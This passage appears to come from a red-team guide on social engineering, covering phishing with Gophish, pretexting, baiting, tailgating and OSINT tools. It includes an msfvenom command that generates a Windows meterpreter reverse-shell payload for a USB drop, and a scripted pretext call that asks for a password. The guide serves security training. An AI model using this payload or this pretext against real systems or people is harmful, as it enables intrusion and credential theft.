A web interface for managing phishing campaigns, tracking email opens, clicks, and submitted data.
{% endhint %}

{% hint style="danger" %}
**Impact:** Successful phishing attacks can lead to unauthorized access to sensitive systems, data breaches, and significant financial loss.
{% endhint %}

Gophish Source:

{% embed url="<https://github.com/gophish/gophish>" %}

{% embed url="<https://getgophish.com/>" %}

Sample Phishing Page:

<figure><img src="/files/iOYZUPUQvMaizppq3hYZ" alt=""><figcaption><p><em>Sample phishing email image taken from:</em> <a href="https://www.phishing.org/"><em>https://www.phishing.org/</em></a></p></figcaption></figure>

<figure><img src="/files/hDMdBJVB1ZW0nOxzi14d" alt=""><figcaption><p><em>Sample2 phishing email image taken from:</em> <a href="https://www.phishing.org/"><em>https://www.phishing.org/</em></a></p></figcaption></figure>

### **Pretexting**

Pretexting involves creating a fabricated scenario to persuade a target to divulge information or perform an action. This technique often requires building a believable story that leverages the target's trust.

**Example: IT Support Call**

A red team member might pose as an IT support technician, calling an employee and convincing them to provide their login credentials for troubleshooting purposes.

> "Hello, this is John from IT support. We're conducting an urgent security update, and I need your username and password to ensure your account is properly configured."

{% hint style="info" %}
**Impact:** If successful, pretexting can result in direct access to sensitive systems and data.
{% endhint %}

### **Baiting**

Baiting involves offering something enticing to the target, such as free software or a USB drive, to lure them into a trap.

**Example: Malicious USB Drive**

A red team might drop USB drives loaded with malware in strategic locations, hoping that curious employees will plug them into their computers.

**Command:** Creating a malicious USB payload using **Metasploit**.

{% code overflow="wrap" %}

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe
```

{% endcode %}

**Output:** An executable file (payload.exe) that, when run, opens a reverse shell to the attacker's machine.

{% hint style="info" %}
**Impact:** This can lead to system compromise, data exfiltration, and further network penetration.
{% endhint %}

### **Tailgating**

Tailgating involves an attacker seeking entry to a restricted area by closely following an authorized person.

**Example: Office Building Entry**

A red team member might follow an employee into a secured office building by carrying a large box and asking the employee to hold the door open.

{% hint style="info" %}
**Impact:** Physical access to secured areas can allow attackers to plant devices, steal sensitive documents, or access restricted systems.
{% endhint %}

## **Tools and Techniques**

### **Phishing Tools**

**Gophish:** An open-source phishing toolkit designed for simulating real-world phishing attacks.

**Social-Engineer Toolkit (SET):** A powerful framework for simulating social engineering attacks.

**King Phisher:** A tool for testing and promoting user awareness by simulating real-world phishing attacks.

### **OSINT Tools**

**Maltego:** A data mining tool that provides a graphical interface for linking and analyzing relationships between data from various sources.

<figure><img src="/files/tA3unlkjRFWh3prLDeuy" alt=""><figcaption><p><em>Maltego in action...</em></p></figcaption></figure>

**theHarvester:** A tool for gathering emails, subdomains, hosts, employee names, and other information from public sources.

<figure><img src="/files/Sa90ykqE2N2YOdYzz2ze" alt="" width="563"><figcaption><p><em>theHarvester- A Powerfull OSINT tool</em></p></figcaption></figure>

**SpiderFoot:** An OSINT automation tool for gathering and analyzing information about target organizations.

<figure><img src="/files/jCyyIEfH9fxv644dVVdK" alt=""><figcaption><p><em>Spiderfoot sample image taken from:</em> <a href="https://github.com/smicallef/spiderfoot"><em>https://github.com/smicallef/spiderfoot</em></a></p></figcaption></figure>

{% hint style="info" %}
**SpiderFoot** is an awesome open source intelligence (OSINT) automation tool for Red Teaming!
{% endhint %}

### **Social Engineering Frameworks**

**SEToolkit:** A comprehensive suite for conducting social engineering attacks, including phishing, credential harvesting, and payload delivery.

```bash
sudo setoolkit
```

<figure><img src="/files/VGTte1CztZ6VdBcIeX2F" alt=""><figcaption><p><em>SET in action...</em></p></figcaption></figure>

**Official source of SET:**

{% embed url="<https://github.com/trustedsec/social-engineer-toolkit>" %}

**Phantom-Evasion:** A framework for generating highly obfuscated payloads to bypass antivirus detection.

## **Conclusion**

Social engineering remains one of the most effective methods for compromising organizational security. By understanding and employing various social engineering techniques, red teamers can identify weaknesses in human defenses and help organizations strengthen their security posture. Through comprehensive awareness training, robust security measures, and proactive incident response planning, organizations can mitigate the risks associated with social engineering attacks.


